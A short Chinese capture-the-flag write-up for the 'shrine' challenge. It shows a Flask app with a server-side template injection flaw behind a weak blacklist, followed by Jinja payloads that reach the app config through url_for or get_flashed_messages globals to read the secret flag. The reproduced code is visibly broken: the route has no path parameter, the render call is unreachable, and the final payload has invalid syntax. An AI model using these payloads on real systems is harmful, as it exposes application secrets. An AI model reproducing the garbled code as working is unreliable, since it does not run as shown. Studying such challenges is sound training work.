【攻防世界】shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()\

@app.route('/shrine/')
def shrine(shrine):
   
   def safe_jinja(s):
       s = s.replace('(', '').replace(')', '')
       blacklist = ['config', 'self']
       return ''.join(['{{% set {}=None%}}'.format(c)for c in blacklist]) + s
       return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

（1）app.config['FLAG']：把FLAG放到app里

（2）blacklist = ['config', 'self']：黑名单，但flag在config文件里

重点

如果没有黑名单，直接用 {{config}}。（一般ctf把flag藏在config里）；

如果config，self不能使用，就用 {{url_for.__globals__['current_app'].config}}

或者 {{get_flashed_messages.__globals__['current_app'].config}}。

{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.['FLAG']}}